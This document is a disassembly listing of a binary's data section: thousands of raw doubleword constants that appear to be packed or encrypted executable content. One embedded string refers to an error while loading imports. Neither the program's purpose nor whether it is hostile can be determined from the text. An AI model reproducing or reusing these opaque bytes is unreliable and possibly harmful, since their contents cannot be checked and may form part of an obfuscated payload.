		dd 79684F2Fh, 16E4EA5Ah, 9B69B963h, 1019A40h, 35430000h
		dd 1A2B63C6h, 41F839C6h, 1A67B233h, 0BFA14A82h,	2136ED3Ch
		dd 0D43B1F0Ch, 0F5C35491h, 91D38266h, 8C3C0A54h, 0DB73C059h
		dd 0E718FAA3h, 7C85934Ah, 39E005B5h, 89765801h,	63E312A8h
		dd 655491D8h, 0AA01979Ah, 0A0C0EC98h, 0ADE5A5E7h, 86D35EA1h
		dd 0B86FD90Ah, 7716D8CBh, 34CDDB51h, 0E018B0FDh, 0E2C6B3D2h
		dd 6A5A793Dh, 0B6A0369Ch, 56641B8Dh, 394C84A5h,	5FD1E64Ch
		dd 2ED3E157h, 0E61EB603h, 45530AD8h, 57D229B6h,	0C5283AF1h
		dd 0FF4B98Fh, 0CBB49885h, 6E3C6063h, 8EDED008h,	0F398BC6Dh
		dd 77DF0583h, 21DF69Ah,	0D50F0000h, 9C5EAE44h, 3EA7F78Dh
		dd 0BF545DBh, 0BB409026h, 56BFD86Eh, 0CB61C833h, 18AE837Bh
		dd 62F839C8h, 0AE44ED12h, 0EFD3C0D9h, 775A7FE4h, 35C60C91h
		dd 8FDC55AAh, 0C5DA91F7h, 91D3F4D8h, 9D647C54h,	49AF4794h
		dd 30CF1F11h, 0D3DFC3B0h, 99675491h, 2C489D33h,	0EDDA91FBh
		dd 5176FC26h, 0F31D8FA1h, 278525F1h, 5C13E1EFh,	45765A47h
		dd 30FE5A79h, 0AE8E4FF8h, 305A7945h, 2F115ECBh,	4DB363B6h
		dd 0D3C397E4h, 0DBE17805h, 8EB05A0Dh, 0DBF0409Bh, 79520AEEh
		dd 8CC4925Ah, 0B11Ah, 39C6C500h, 0B4C2ABF8h, 0FF97E44Dh
		dd 0E940BBC7h, 3A1B39Ch, 0ABB6F30Fh, 0F1715C94h, 0F3549233h
		dd 606E250Ch, 0A9418E9Bh, 0D02F7F71h, 6F981461h, 665946FDh
		dd 6E517725h, 0F7200AA0h, 0A7B9CE85h, 15967A5h,	0C58F4309h
		dd 0A240B9D1h, 1A5F4A82h, 9A575FB8h, 0F40715CCh, 0B06C7E35h
		dd 29CF44BFh, 93E3D50Dh, 0F89DC168h, 80DF059Dh,	10DFFA3h
		dd 0C51F0000h, 8C6EBE54h, 2EB7079Dh, 0FB0555EBh, 0AB50A036h
		dd 66CFE87Eh, 0DB71B843h, 28BE738Bh, 720829D8h,	0BE54DD22h
		dd 0FFE3D0E9h, 875A7FE5h, 35C61CA1h, 0F10E5EF4h, 1B086BF2h
		dd 399F7DBDh, 39C64EA3h, 36C9ABF8h, 487B65FBh, 1A3C29E0h
		dd 1D517FD5h, 0EF12020Bh, 80B91E02h, 24D8A65Ah,	0D40C5FCEh
		dd 0C2ABF8C6h, 7BDCC0ADh, 96645A80h, 3AAD525Eh,	391B68C1h
		dd 9E046AC7h, 0EA47B808h, 5FB4DC9Dh, 0C9366CC3h, 0C5391B68h
		dd 49361F6Ch, 8CC5E165h, 5EAC1FEDh, 1A50B588h, 56357424h
		dd 0AE3C70F0h, 17B67E90h, 76B25446h, 64CD323Eh,	1BF89BADh
		dd 838F418Ch, 0F609594Bh, 0F005EE3Bh, 0C64C1F03h, 0D851A98Ch
		dd 14205826h, 16F845ECh, 17F946EBh, 5BF946E3h, 0F056E9FFh
		dd 9DF784EBh, 5FFC6FD5h, 6448354Ah, 0EC8CC63Dh,	3DAB8F1Eh
		dd 14338CC6h, 0C63D4327h, 97FDCB8Ch, 0F64D9B5Fh, 42922809h
		dd 832774BDh, 3, 0C61358E6h, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h
		dd 0D4B6032Eh, 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h
		dd 6FBB0821h, 5E08950h,	4, 4B951h, 0C8290000h, 24048759h
		dd 2EE8685Ch, 34890000h, 41806824h, 2C890000h, 75B95124h
		dd 5721F90Bh, 0F4FB20BFh, 5FF901E3h, 5459CE89h,	83242C8Bh
		dd 9E6804C4h, 89000072h, 458F2434h, 242C8B08h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835E2434h, 98E904C4h
		dd 0CFFF96Ch, 0F839A844h, 0EE138BB8h, 0FFC50305h, 0F2539DE0h
		dd 9E5BAB2Ch, 6DBDE73Fh, 0F7028C2Bh, 94D48942h,	461F2B2Ch
		dd 0DF578D41h, 1A01C121h, 0DDAB772Ah, 1C1FF10h,	3E73165h
		dd 0D986AA63h, 0A30FF83Bh, 0BCEDCC3Dh, 4C4E5356h, 91C49653h
		dd 48EAD11Dh, 64ADA17Bh, 5C631F13h, 0E7F7C158h,	77CD115Ah
		dd 0F5AB6775h, 0E4DBD559h, 3A19815Ch, 35B4743h,	61EB02Eh
		dd 0FE871h, 9C7E0000h, 0D9E5B96Ch, 323B2F11h, 0FB8687A8h
		dd 0A642BF91h, 0E85B7D74h, 8, 29B4E8F1h, 0EDFFC326h, 12E9h
		dd 24B00E00h, 97144478h, 374640CCh, 8C165285h, 588B310Eh
		dd 745DC381h, 0BF0F0000h, 1CED68C2h, 81660000h,	5A3291EEh
		dd 7131EF81h, 0B8B4867h, 0AEA8F181h, 0DE9174Ch,	0EF000000h
		dd 9F05DD2Eh, 92163012h, 0C2979A10h, 0EBDAE981h, 820F1DCEh
		dd 2, 0E981C18Bh, 577DD156h, 0BE660B89h, 0EB813C0Bh, 2EA2A0FCh
		dd 81C7BF0Fh, 0A2A0F8C3h, 0B71BF2Eh, 0EA811B52h, 1, 0FFAC850Fh
		dd 0F53FFFFh, 8D58FEBFh, 0EE15938Dh, 9DBD0905h,	8905E707h
		dd 0E71AA98Dh, 0B5B58B05h, 0C705E70Bh, 0E72A4D85h, 641405h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0FF06E11Fh, 0D31B8F6h, 6298501h,	85C705E7h
		dd 5E72739h, 0
		dd 16A59589h, 0B5FF05E7h, 5E72A29h, 0FFDBB70Fh,	0E7179595h
		dd 56B86605h, 0FF006A5Fh, 0E721C195h, 0EBC08B05h, 9FD76E28h
		dd 0C8933734h, 0CB742A2Ah, 3403FB88h, 0D333920Bh, 1B52885Ch
		dd 12889C7Ah, 0F68F5333h, 820ABC88h, 3D5F85E2h,	127E98Eh
		dd 5B500000h, 0EFAC7376h, 154Eh, 6E410000h, 72724520h
		dd 6820726Fh, 6F207361h, 72727563h, 77206465h, 656C6968h
		dd 616F6C20h, 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h
		dd 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h
		dd 777h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 0F26AA38Fh, 1C131137h
		dd 3D7F35B1h, 616641D5h, 9E35722Bh, 1177A9F2h, 90EF8832h
		dd 1081404Fh, 0A1F5BFBFh, 0C69914DBh, 0A8E5D069h, 10816C2Bh
		dd 45715632h, 1177A961h, 90EF8832h, 1081404Fh, 0A4E4BFBFh
		dd 0C69914DBh, 0D5EDD069h, 372F9B1h, 1A6627DCh,	156601B6h
		dd 0CE30532h, 0EA63AA37h, 5CE3AFE2h, 0EA63FF37h, 0B0E34EE2h
		dd 4363A300h, 0BDDE705Ah, 10D3EEAEh, 98636F19h,	0FF1BE5B7h
		dd 9CB6DD37h, 0F27D44B7h, 0F1E30537h, 4563AA24h, 0A3A7BFh
		dd 0EA3614DCh, 0F26C55A7h, 0B8E38337h, 1563C537h, 0D3661132h
		dd 0F2542DB7h, 7C0E0137h, 0EAE8505Bh, 0F26E8887h, 3FE30537h
		dd 0EA63A30Bh, 70E3ABE2h, 0D363F61Ah, 0F2542DB7h, 4B0E0737h
		dd 0EAFA4559h, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0E9E3ABE2h
		dd 0D363FF27h, 0F2542DB7h, 3C0E1037h, 0EA88405Ah, 0F26E8887h
		dd 3FE30537h, 0EA63A30Bh, 15E3ABE2h, 0D363FF24h, 0F2542DB7h
		dd 0D70E0137h, 0EABC420Ah, 0F26E8887h, 3FE30537h, 0EA63A30Bh
		dd 11E3ABE2h, 9663FF24h, 0F24D058Fh, 90694437h,	15662277h
		dd 27C394F4h, 7D238DD5h, 0EF463AB4h, 1DFF97CDh,	90EB14D5h
		dd 1081B118h, 90EF94CDh, 1088343Ah, 27C394F4h, 7D2A8DD5h
		dd 0F54094F1h, 1DFF97CDh, 90EB14D5h, 1081B118h,	90EF94CDh
		dd 1088343Eh, 156651DBh, 0B0E34E32h, 4763A300h,	5F822F5Ah
		dd 0F0D3EE8Eh, 98636F28h, 0F25F6EB7h, 9CB6DD37h, 0FB7019B7h
		dd 0B0E34E37h, 4763A300h, 592C6A5Ah, 0F0D3EE94h, 98636F28h
		dd 0F25F6EB7h, 9CB6DD37h, 0FB701DB7h, 0B0E34E37h, 4763A300h
		dd 57D2C85Ah, 8CD3EECFh, 98636F3Ah, 0F25F6EB7h,	9CB6DD37h
		dd 0F24678B7h, 0B0E34E37h, 6263A300h, 82CE815Ah, 90D3EEC1h
		dd 98636F25h, 0F25F6EB7h, 9CB6DD37h, 0F26DACB7h, 0B0E34E37h
		dd 4763A300h, 0C857355Ah, 8CD3EEB8h, 98636F3Ah,	0F25F6EB7h
		dd 9CB6DD37h, 0F2460CB7h, 0B0E34E37h, 4363A300h, 0A0B1B5Ah
		dd 10D3EEE6h, 98636F19h, 0FF1BE5B7h, 9CB6DD37h,	0F24370B7h
		dd 0B0E34E37h, 5263A300h, 0C976585Ah, 8CD3EEB3h, 98636F3Ah
		dd 0F25F6EB7h, 9CB6DD37h, 0F26ED4B7h, 0B0E34E37h, 5263A300h
		dd 1AD3C05Ah, 8CD3EEB8h, 98636F3Ah, 0F25F6EB7h,	9CB6DD37h
		dd 0FB703DB7h, 84DB0B37h, 1563A323h, 1337A63Dh,	90A01132h
		dd 1081BA97h, 98F2C7Eh,	0A099FBE8h, 108119ABh, 2C4C0DBFh
		dd 0C59941D5h, 37EA7BBh, 90A014DCh, 1081BA97h, 0CBA82C7Eh
		dd 0A099FF46h, 108119ABh, 2C4C0DBFh, 0C59941D5h, 37AA7BBh
		dd 90A014DCh, 1081BA97h, 97592C7Eh, 0A09995B3h,	108119ABh
		dd 2C4C0DBFh, 0C59941D5h, 346A7BBh, 90A014DCh, 1081BA97h
		dd 557E2C7Eh, 0A099911Dh, 108119ABh, 2C4C0DBFh,	0C59941D5h
		dd 346A7BBh, 90A014DCh,	1081BA97h, 13722C74h, 0A09998ECh
		dd 108119ABh, 2C4C0DBFh, 0C59941D5h, 34EA7BBh, 90A014DCh
		dd 1081BA97h, 51C2C75h,	0A099A3EEh, 108119ABh, 2C4C0DBFh
		dd 0C59941D5h, 356A7BBh, 90A014DCh, 1081BA97h, 9BCA2C75h
		dd 0A099CDB5h, 108119ABh, 2C4C0DBFh, 0C59941D5h, 352A7BBh
		dd 90A014DCh, 1081BA97h, 0B2B42C75h, 0A099F6A8h, 108119ABh
		dd 2C4C0DBFh, 0C59941D5h, 35EA7BBh, 90A014DCh, 1081BA97h
		dd 2C622C75h, 0A09998F3h, 108119ABh, 2C4C0DBFh,	0C59941D5h
		dd 35AA7BBh, 0A8E514DCh, 10819D4Bh, 0D3463132h,	0F25487B7h
		dd 720E5637h, 0EA86FA1Fh, 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh
		dd 55E301E2h, 0D363AA24h, 0F25487B7h, 0A40E5637h, 0EAE8A181h
		dd 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh, 51E301E2h, 0D363AA24h
		dd 0F25487B7h, 0B20E5237h, 0EAA6FE78h, 0F26EDD87h, 3FE3AF37h
		dd 0EA63F60Bh, 5DE301E2h, 0D363AA24h, 0F25487B7h, 0FE0E5D37h
		dd 0EA9DEE5Eh, 0F271C187h, 3FE3AF37h, 0EA63F60Bh, 0C9E301E2h
		dd 0D363AA24h, 0F25487B7h, 400E5537h, 0EADDFBBCh, 0F26EDD87h
		dd 3FE3AF37h, 0EA63F60Bh, 59E301E2h, 0D363AA24h, 0F25487B7h
		dd 0E90E5237h, 0EADA065Ch, 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh
		dd 45E301E2h, 0D363AA24h, 0F25487B7h, 0BF0E4237h, 0EAA0980Ch
		dd 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh, 41E301E2h, 9663AA24h
		dd 0F2710F8Fh, 91691137h, 156688D2h, 27C3C1F4h,	7D2027D5h
		dd 0EFF0DF03h, 1DFF3DCDh, 90EB41D5h, 10811B18h,	90EFC1CDh
		dd 10889E82h, 27C3C1F4h, 7D2027D5h, 0E9C12BE4h,	1DFF3DCDh
		dd 90EB41D5h, 10811B18h, 90EFC1CDh, 10889EF2h, 27C3C1F4h
		dd 7D2027D5h, 879AB532h, 1DFF3DCDh, 90EB41D5h, 10811B18h
		dd 90EFC1CDh, 10889EF6h, 27C3C1F4h, 7D2027D5h, 0E3B25E58h
		dd 1DFF3DCDh, 90EB41D5h, 10811B18h, 90EFC1CDh, 10889EFAh
		dd 27C3C1F4h, 7D2027D5h, 81AB41D5h, 1DFF3DCDh, 90EB41D5h
		dd 10811B18h, 90EFC1CDh, 10889E86h, 27C3C1F4h, 7D2027D5h
		dd 0A4446509h, 1DFF3DCDh, 90EB41D5h, 10811B18h,	90EFC1CDh
		dd 10889E8Ah, 27C3C1F4h, 7D2027D5h, 0CA1FFBDFh,	1DFF3DCDh
		dd 90EB41D5h, 10811B18h, 90EFC1CDh, 10889E8Eh, 1FF9B1h
		dd 606627D5h, 0B0E3D712h, 46636F00h, 0AB861A5Ah, 8CD3DDFCh
		dd 9863F63Ah, 0F25FA2B7h, 9CB6BB37h, 0FB707AB7h, 0B0E3D737h
		dd 52636F00h, 0A438C35Ah, 8CD3DDF5h, 9863F63Ah,	0F25FA2B7h
		dd 9CB6BB37h, 0FB707EB7h, 6CDB9237h, 15636F27h,	90A06447h
		dd 10811097h, 6B637975h, 0A0996E50h, 10814CABh,	2C4CA7BFh
		dd 0C59914D5h, 3060DBBh, 90A041DCh, 10811097h, 1C907971h
		dd 0A0991A48h, 10814CABh, 2C4CA7BFh, 0C59914D5h, 3020DBBh
		dd 90A041DCh, 10811097h, 82467971h, 0A0997413h,	10814CABh
		dd 2C4CA7BFh, 0C59914D5h, 30E0DBBh, 0A8E541DCh,	1081374Bh
		dd 0D3266432h, 0F2542DB7h, 160E0737h, 0EAED229Ah, 0F26E8887h
		dd 3FE30537h, 0EA63A30Bh, 65E3ABE2h, 0D363FF24h, 0F2542DB7h
		dd 0C00E0737h, 0EA837904h, 0F26E8887h, 3FE30537h, 0EA63A30Bh
		dd 79E3ABE2h, 0D363FF24h, 0F2542DB7h, 0F40E0737h, 0EA8C8800h
		dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 61E3ABE2h, 0D363FF24h
		dd 0F2542DB7h, 220E0737h, 0EAE2D39Eh, 0F26E8887h, 3FE30537h
		dd 0EA63A30Bh, 6DE3ABE2h, 0D363FF24h, 0F2542DB7h, 0C10E0B37h
		dd 0EAF117A2h, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 69E3ABE2h
		dd 0D363FF24h, 0F2542DB7h, 170E0B37h, 0EA9F4C3Ch, 0F26E8887h
		dd 3FE30537h, 0EA63A30Bh, 95E3ABE2h, 0D363FF24h, 0F2542DB7h
		dd 5C0E0937h, 0EAAE154Bh, 0F26E8887h, 3FE30537h, 0EA63A30Bh
		dd 9DE3ABE2h, 0D363FF24h, 0F2542DB7h, 9C0E0937h, 0EABAD57Fh
		dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 91E3ABE2h, 0D363FF24h
		dd 0F2542DB7h, 220E1137h, 0EAFA391Fh, 0F26E8887h, 3FE30537h
		dd 0EA63A30Bh, 99E3ABE2h, 0D363FF24h, 0F2542DB7h, 3F0E0737h
		dd 0EAB4F7C2h, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 85E3ABE2h
		dd 0D363FF24h, 0F2542DB7h, 0FF0E1637h, 0EA9B6086h, 0F26E8887h
		dd 3FE30537h, 0EA63A30Bh, 7CE3ABE2h, 0D363F612h, 0F2542DB7h
		dd 8C0E0337h, 0EA84BA6Bh, 0F26E8887h, 3FE30537h, 0EA63A30Bh
		dd 81E3ABE2h, 0D363FF24h, 0F2542DB7h, 0D70E0337h, 0EAD7DF52h
		dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 8DE3ABE2h, 0D363FF24h
		dd 0F2542DB7h, 10E0337h, 0EAB984CCh, 0F26E8887h, 3FE30537h
		dd 0EA63A30Bh
		dd 89E3ABE2h, 0D363FF24h, 0F2542DB7h, 7D0E1B37h, 0EAF872C0h
		dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0B5E3ABE2h, 0D363FF24h
		dd 0F2542DB7h, 2A0E0B37h, 0EAA1DE49h, 0F26E8887h, 3FE30537h
		dd 0EA63A30Bh, 0D9E3ABE2h, 0D363FF24h, 0F2542DB7h, 590E0337h
		dd 0EA9C795Ch, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0C5E3ABE2h
		dd 0D363FF24h, 0F2542DB7h, 0D80E0337h, 0EAA52416h, 0F26E8887h
		dd 3FE30537h, 0EA63A30Bh, 0C1E3ABE2h, 0D363FF24h, 0F2542DB7h
		dd 0D90E1B37h, 0EAB29952h, 0F26E8887h, 3FE30537h, 0EA63A30Bh
		dd 0B1E3ABE2h, 0D363FF24h, 0F2542DB7h, 5B0E1B37h, 0EAF8CB66h
		dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0BDE3ABE2h, 0D363FF24h
		dd 0F2542DB7h, 5D0E1B37h, 0EAB7311Ah, 0F26E8887h, 3FE30537h
		dd 0EA63A30Bh, 0B9E3ABE2h, 7F63FF24h, 566E036h,	150E4432h
		dd 7F662222h, 40F3EE32h, 9C636F29h, 0F27FC1B7h,	9DE3AF37h
		dd 0EA63FCCCh, 7D62E2E2h, 15665432h, 1546225Ah,	0EA667B32h
		dd 0F27DDDA7h, 0BCE3CD37h, 9C63C53Bh, 0F27B10B7h, 7D26E237h
		dd 15665432h, 1466225Ah, 0EA667B32h, 0F27DDDA7h, 0E8E3CD37h
		dd 9E63C523h, 0F26DB487h, 74FB0337h, 9C63A330h,	0F26AFF87h
		dd 30FB9837h, 9E636F10h, 0F26425AFh, 966DA937h,	916911CBh
		dd 156682EDh, 26061562h, 0CE3ABF2h, 0AB63F610h,	1566880Eh
		dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
		dd 37B79FBBh, 0EAE314D5h, 156C0D3Dh, 1B8E4432h,	0FC662223h
		dd 156611A3h, 7EB10363h, 80EF40E0h, 10813603h, 150E1558h
		dd 47668822h, 80994458h, 10813967h, 3CA394BBh, 0C5ED8DD5h
		dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
		dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 0F27FC18Fh, 0EAAFA137h
		dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah,	0EA8C943Dh
		dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0CE3EE60h,	9E636F10h
		dd 0F2445DA7h, 0C4F31B37h, 1A63F610h, 156682B6h, 96381E32h
		dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 3967C1F5h, 156627D5h
		dd 90A11132h, 1081902Fh, 15664432h, 3729FB1h, 1A6614DCh
		dd 156680B6h, 98FBC932h, 0EA63CF57h, 0BCE3EEE1h, 96636F35h
		dd 0F261ED8Fh, 97694637h, 15661150h, 12CF0DF5h,	156741D5h
		dd 98062232h, 0FB70FD87h, 42DB0537h, 3E63AA01h,	9EB1A9CCh
		dd 0F27F948Fh, 0EAAF0B37h, 13EC8401h, 9E20E300h, 0FCA79636h
		dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 1081994Fh
		dd 1571C03Dh, 0A8E52232h, 1081093Bh, 1FE38732h,	0D2664432h
		dd 0F2638FB7h, 15661037h, 0BBDFE932h, 0AF1E32E2h, 4B7DC556h
		dd 0C8D3989Fh, 0D2636F3Eh, 1566B874h, 0FB5B2232h, 1A88FFDCh
		dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h,	15604F32h
		dd 96664432h, 0A0EF26F4h, 10811DEFh, 156E71DBh,	26BECF32h
		dd 0F2638FB7h, 16AED037h, 0D5A74A19h, 9CA77722h, 0F2638FAFh
		dd 15662C37h, 96698833h, 15664477h, 0AEDD1CB3h,	9069AA89h
		dd 1566880Bh, 156642F5h, 0D3E52232h, 0C8D39836h, 9E636F3Eh
		dd 0F26425AFh, 9E6DA937h, 0D7ED71E2h, 3C770D19h, 0F5A741D5h
		dd 90E32130h, 8363F616h, 9CA78B9Fh, 747A6076h, 15665EDBh
		dd 26344032h, 0D0F303FBh, 2E63A31Bh, 2DE22D30h,	96661132h
		dd 2E278CF0h, 0F24495BFh, 0FDE32D37h, 9899EECDh, 0FB735987h
		dd 9CDBC937h, 0B963C52Fh, 9169D1B6h, 15668834h,	0EA97AD98h
		dd 15DEDDCDh, 98661132h, 0F22BACBFh, 9C87BB37h,	0F2443BBFh
		dd 433F4B37h, 170715B9h, 1EED41D5h, 377FA7B9h, 0F5B714D5h
		dd 3EDB0D31h, 0E35541D5h, 0D4CB44A4h, 906513D2h, 1081ACB7h
		dd 0D465E9A4h, 0C8DBA16Ch, 1463F623h, 155F0C3Dh, 985D4432h
		dd 10812AABh, 154B953Dh, 985D8832h, 108153B7h, 1547A63Dh
		dd 985D1132h, 1081A25Fh, 1573C03Dh, 88EB2232h, 10883A1Dh
		dd 0EDED5BCDh, 1693C1BBh, 0A18F27D5h, 98661134h, 0FB4DA7AFh
		dd 96B5BB37h, 0F277FF8Fh, 91691137h, 1566882Fh,	3013C109h
		dd 916927D5h, 1566113Eh, 0C230D09h, 906941D5h, 15662237h
		dd 0EA99A8DBh, 70E3B3CDh, 1A63A31Ah, 15663AB7h,	98DB9232h
		dd 15636F19h, 156DC13Dh, 90EB2232h, 108BEFF8h, 0EA991DDBh
		dd 70E37FCDh, 1A63C51Ah, 0EA9998B6h, 0D8DB0BCDh, 1463AA27h
		dd 1571A73Dh, 905D1132h, 10889E1Eh, 156DC13Dh, 90EB2232h
		dd 153EF792h, 0EA99E5DBh, 969977CDh, 0F277B38Fh, 91691137h
		dd 15668B55h, 37EC109h,	121327DCh, 3F5B94B9h, 2E218DD5h
		dd 0FB7064B7h, 9E615737h, 0F26504B7h, 905DCF37h, 1088522Eh
		dd 90ED2547h, 10811F4Bh, 31E3B375h, 6063AA24h, 10E3A935h
		dd 5263F61Dh, 34E0D09h,	121341DCh, 301BA7B9h, 2E2114D5h
		dd 0FB70A4B7h, 9E613137h, 0F27DBBB7h, 905D5637h, 10889E02h
		dd 90ED4347h, 10812487h, 21E32A75h, 60636624h, 48E3CF35h
		dd 5263C51Eh, 35E9409h,	12138DDCh, 3BAFC1B9h, 2E2127D5h
		dd 0FB702DB7h, 9E61FD37h, 0F24105B7h, 905D6537h, 10880776h
		dd 90ED8F47h, 10814C07h, 55E31975h, 6063FF24h, 6CDB0B22h
		dd 1563A327h, 90ED2547h, 108100FBh, 0E0DB0B75h,	1563A312h
		dd 905D2D46h, 108807FEh, 90ED8F47h, 108161D3h, 38DBA175h
		dd 1563F625h, 0A8E5FA46h, 1081539Bh, 2E0F5632h,	0FB70A1B7h
		dd 9E61FD37h, 0F26095B7h, 905D6537h, 108807F2h,	90ED8F47h
		dd 10814267h, 0A1E31975h, 6063FF24h, 0E4E30335h, 5263A33Bh
		dd 3A2A709h, 121314DCh,	35A70DB9h, 2E2141D5h, 0FB70EAB7h
		dd 9E616437h, 0F24DA1B7h, 905D0337h, 1088348Ah,	90ED1647h
		dd 10819477h, 0A9E37F75h, 6063CC24h, 80E39A35h,	52636F20h
		dd 2CFF9B1h, 1A6627D5h,	15641BB6h, 5DE3B332h, 6063AA24h
		dd 98E3A935h, 5263F611h, 3BA0D09h, 121341DCh, 0A97A7B9h
		dd 2E2114D5h, 0FB70C4B7h, 9E613137h, 0F24E0FB7h, 905D5637h
		dd 10889E62h, 90ED4347h, 10810ACBh, 41E32A75h, 60636624h
		dd 0ACE3CF35h, 5263C52Dh, 33E9409h, 5138DDCh, 1FF9B1h
		dd 606627D5h, 0A8E39A35h, 52636F1Ah, 33AC109h, 121327DCh
		dd 117794B9h, 2E218DD5h, 0FB7024B7h, 96765737h,	0F273688Fh
		dd 12138837h, 7B7C1B9h,	2E2127D5h, 0FB7075B7h, 9E61FD37h
		dd 0F2752DB7h, 905D6537h, 1088075Ah, 90ED8F47h,	10815FB7h
		dd 65E31975h, 6063FF24h, 6CDB0B22h, 1563A327h, 90ED2547h
		dd 10811B4Bh, 79E3B375h, 6063AA24h, 6CDBA122h, 1563F627h
		dd 90ED8F47h, 10815063h, 61E31975h, 6063FF24h, 30E30335h
		dd 5263A331h, 31EA709h,	121314DCh, 10C70DB9h, 2E2141D5h
		dd 0FB705EB7h, 9E616437h, 0F24D51B7h, 905D0337h, 108834B2h
		dd 90ED1647h, 10818EBFh, 91E37F75h, 6063CC24h, 28E39A35h
		dd 52636F25h, 3EEC109h,	121327DCh, 16A794B9h, 2E218DD5h
		dd 0FB70C8B7h, 9E615737h, 0F24240B7h, 905DCF37h, 108852A2h
		dd 90ED2547h, 108131FBh, 7CE3B375h, 6063A312h, 0C8E3A935h
		dd 5263F618h, 3F20D09h,	121341DCh, 3413A7B9h, 2E2114D5h
		dd 0FB7058B7h, 967F3137h, 0FB70FA8Fh, 1C131137h, 4BB35B1h
		dd 616641D5h, 34E3A935h, 5263F62Bh, 3B20D09h, 0C1341DCh
		dd 3BE9FB1h, 606614DCh,	0C8DB0B3Bh, 1563A323h, 90ED2546h
		dd 10810ED7h, 8DE3B375h, 6063AA24h, 44E3A935h, 5263F613h
		dd 3FA0D09h, 121341DCh
		dd 113A7B9h, 2E2114D5h,	0FB7028B7h, 9E613137h, 0F26DCFB7h
		dd 905D5637h, 10889E96h, 90ED4347h, 10810ED7h, 0BDE32A75h
		dd 60636624h, 84E3CF35h, 5263C539h, 3CA9409h, 12138DDCh
		dd 36EBC1B9h, 1E2127D5h, 10E21ECDh, 0FC668832h,	0EA99BFD8h
		dd 1EDBA709h, 906914D5h, 15668839h, 0A212C1BFh,	0C68F27DFh
		dd 2E99EEC9h, 0F24695B7h, 0DE34B37h, 96662232h,	0FB73DC8Fh
		dd 90698937h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
		dd 0FB704CB7h, 19E22D37h, 2E661132h, 0FB7084B7h, 10E34B37h
		dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
		dd 905D1132h, 10889DCEh, 156DC13Dh, 90EB2232h, 153E73D6h
		dd 0EA9DE5DBh, 15E37FCDh, 1A63CC24h, 15661AB7h,	4FE30532h
		dd 0FC661C51h, 0EA99D964h, 3629409h, 90698DDCh,	15664439h
		dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
		dd 1563943Dh, 368F8832h, 9E99BBC9h, 48D3ABC2h, 9C63F62Eh
		dd 0F262E587h, 0FC58C437h, 1540A73Dh, 6BED1132h, 9E988B33h
		dd 15A5C5ECh, 2E662272h, 0F27A4C8Fh, 1DE48737h,	2E664432h
		dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 1CCFF9B9h, 90A127D5h
		dd 10813DBFh, 15668832h, 78D3CD52h, 9863C536h, 0FB5701AFh
		dd 1AB57737h, 156666B0h, 0A7FBAF32h, 0EA63FDE1h, 0CBE587E1h
		dd 9E99BBCDh, 0F2624F87h, 98D39837h, 98636F1Eh,	0F80371AFh
		dd 9EB5DD37h, 0F27A4CB7h, 78E30137h, 7463A336h,	381FBFBFh
		dd 0C69914DCh
dword_5B142C	dd 250715BFh, 0C69941DCh, 156AA13Dh, 90E51132h,	10818C5Fh
					; DATA XREF: sub_542C3C+3D17o
		dd 0EAB8AD37h, 88EBDDCDh, 108821B8h, 96695BCDh,	1566443Ah
		dd 0FC62E0B1h, 15661100h, 0C6D415BFh, 0C69941DEh, 156DA13Dh
		dd 0A0ED1132h, 10818C5Fh, 1561C4DBh, 78EBA932h,	9C63F636h
		dd 0F262E587h, 0E2A86F37h, 0E69709EBh, 0EAF0F896h, 88EB77CDh
		dd 108B21BFh, 0D2EDF1CDh, 1CCF9419h, 90EF8DD5h,	10814517h
		dd 1CCFA7B9h, 453114D5h, 736405BFh, 0C49941DFh,	49BA7B9h
		dd 423614D5h, 1CCF0DB9h, 983641D5h, 0F80013BFh,	9EB7EE37h
		dd 3EAE03E2h, 0F277B9BFh, 10DBA137h, 1563F610h,	154D0C3Dh
		dd 90ED4432h, 108135EFh, 37639419h, 0D45D8DD5h,	1571C23Dh
		dd 90ED2232h, 1081319Bh, 37630D31h, 90EF41D5h, 108121C7h
		dd 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h,	0F271CCB7h
		dd 70E38937h, 0D263A31Fh, 0F24427B7h, 15661137h, 7D26E232h
		dd 15665432h, 0EA664863h, 0F27D44A7h, 44F37737h, 9C63A312h
		dd 0F2468BB7h, 0E0E39837h, 4C636F31h, 1693F1CDh, 0A09927D5h
		dd 108100CFh, 0BCD37765h, 9863A33Bh, 0F80CE1B7h, 14B6EE37h
		dd 0F2448DBFh, 0E0DBCF37h, 9E63C531h, 0F277EC87h, 9EC27B37h
